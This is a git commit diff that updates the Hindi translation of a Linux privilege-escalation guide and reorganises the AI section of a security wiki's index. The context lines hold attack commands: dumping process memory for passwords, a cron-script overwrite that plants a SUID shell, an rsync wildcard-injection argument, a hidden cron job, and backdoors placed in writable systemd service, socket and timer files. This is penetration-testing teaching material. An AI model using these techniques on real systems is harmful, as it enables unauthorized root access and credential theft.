Translated ['src/linux-hardening/privilege-escalation/README.md'] to hi

This commit is contained in:
Translator 2025-06-07 16:45:45 +00:00
parent bc43e770ec
commit 8de8ad851a
13 changed files with 97 additions and 3335 deletions

View File

@ -793,6 +793,29 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -850,17 +873,6 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()

View File

@ -6,7 +6,7 @@
### OS info
आइए चल चल रहे OS के बारे में कुछ ज्ञान प्राप्त करते हैं
आइए चलिए चल रहे OS के बारे में कुछ जानकारी प्राप्त करते हैं
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -39,7 +39,7 @@ searchsploit "Linux Kernel"
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
कर्नेल एक्सप्लॉइट्स की खोज करने में मदद करने वाले उपकरण हैं:
कर्नेल एक्सप्लॉइट्स की खोज में मदद करने के लिए उपकरण हैं:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)।
इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको किसी कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)।
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -162,24 +162,24 @@ rpm -qa #Centos
## Processes
देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **उससे अधिक विशेषाधिकार रखती है जितनी उसे होनी चाहिए** (शायद एक tomcat जिसे root द्वारा निष्पादित किया जा रहा है?)
देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक tomcat जिसे root द्वारा निष्पादित किया जा रहा है?)
```bash
ps aux
ps -ef
top -n 1
```
हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करता है।\
हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\
साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं।
### प्रक्रिया निगरानी
आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है
आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताएँ पूरी होती हैं
### प्रक्रिया मेमोरी
एक सर्वर की कुछ सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\
सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\
हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जिनके आप मालिक हैं**।
हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**।
> [!WARNING]
> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने विशेषाधिकारहीन उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते।
@ -188,12 +188,12 @@ top -n 1
>
> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है।
> - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है।
> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इस लिए CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसे CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है।
#### GDB
यदि आपके पास एक FTP सेवा (उदाहरण के लिए) की मेमोरी तक पहुंच है, तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं।
यदि आपके पास एक FTP सेवा की मेमोरी तक पहुंच है (उदाहरण के लिए) तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं।
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
एक प्रक्रिया की मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और आपके द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और अपने द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं
- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (रूट की आवश्यकता है)
### Credentials from Process Memory
@ -281,7 +281,7 @@ Press Ctrl-C to end monitoring without terminating the process.
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज सकते हैं:
आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
जांचें कि क्या कोई निर्धारित कार्य कमजोर है। शायद आप एक स्क्रिप्ट का लाभ उठा सकते हैं जो रूट द्वारा निष्पादित हो रही है (वाइल्डकार्ड कमजोर? क्या रूट द्वारा उपयोग की जाने वाली फ़ाइलों को संशोधित कर सकते हैं? क्या सिम्लिंक्स का उपयोग कर सकते हैं? क्या रूट द्वारा उपयोग की जाने वाली निर्देशिका में विशिष्ट फ़ाइलें बना सकते हैं?)।
जांचें कि क्या कोई निर्धारित कार्य कमजोर है। शायद आप एक स्क्रिप्ट का लाभ उठा सकते हैं जो रूट द्वारा निष्पादित की जा रही है (वाइल्डकार्ड कमजोर? क्या रूट द्वारा उपयोग की जाने वाली फ़ाइलों को संशोधित कर सकते हैं? क्या सिम्लिंक्स का उपयोग कर सकते हैं? क्या रूट द्वारा उपयोग की जाने वाली निर्देशिका में विशिष्ट फ़ाइलें बना सकते हैं?)।
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -328,7 +328,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_)
यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए कुछ कमांड या स्क्रिप्ट निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\
तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं:
तो, आप इसका उपयोग करके रूट शेल प्राप्त कर सकते हैं:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron using a script with a wildcard (Wildcard Injection)
यदि क स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण:
यदि कोई स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### अदृश्य क्रोन जॉब्स
एक क्रोनजॉब बनाना संभव है **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के), और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
एक क्रोनजॉब बनाने के लिए **एक टिप्पणी के बाद कैरिज रिटर्न डालना संभव है** (बिना न्यूलाइन कैरेक्टर के), और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Writable _.service_ files
जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः शुरू** या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\
जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः प्रारंभ** या **रोक दी जाए** (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\
उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं।
### Writable service binaries
ध्यान रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएं फिर से निष्पादित हों, तो बैकडोर चलाए जाएं।
याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएं फिर से निष्पादित हों, तो बैकडोर निष्पादित हों।
### systemd PATH - Relative Paths
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते हैं लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
फिर, एक **कार्यकारी** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **बैकडोर निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते हैं लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।**
@ -419,18 +419,18 @@ Unit=backdoor.service
```
डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है:
> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के।
> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के।
इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए:
- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रहा है
- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रहा है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** चला रही है
- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** चला रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।**
### **टाइमर सक्षम करना**
टाइमर को सक्षम करने के लिए आपको रूट अनुमतियों की आवश्यकता है और निष्पादित करना होगा:
टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@ -445,15 +445,15 @@ Sockets को `.socket` फ़ाइलों का उपयोग करक
**`man systemd.socket` के साथ सॉकेट के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा है**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प भिन्न हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं।
- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं।
- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (स suffixed को प्रतिस्थापित किया जाता है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा के लिए डिफ़ॉल्ट है जिसका नाम सॉकेट के समान है (स suffixed को प्रतिस्थापित किया गया है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
### Writable .socket files
यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\
यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं, तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\
_ध्यान दें कि सिस्टम को उस सॉकेट फ़ाइल कॉन्फ़िगरेशन का उपयोग करना चाहिए या बैकडोर निष्पादित नहीं होगा_
### Writable sockets
@ -481,11 +481,11 @@ socket-command-injection.md
### HTTP सॉकेट
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो यूनिक्स सॉकेट के रूप में कार्य करी हैं_)। आप इसे इस तरह जांच सकते हैं:
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ उठा सकते हैं**
यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं।
### Writable Docker Socket
@ -562,11 +562,11 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखकर डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक इनकमिंग कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक म्यूजिक प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं।
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के प्रभाव पर आधारित होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति को विस्तार से बताता है।
@ -614,7 +614,7 @@ lsof -i
```
### Open ports
हमेशा उस मशी पर नेटवर्क सेवाओं की जांच करें जिनसे आप पहले बातचीत नहीं कर सके:
हमेशा उन नेटवर्क सेवाओं की जांच करें जो मशीन पर चल रही हैं जिनसे आप पहले बातचीत नहीं कर सके:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
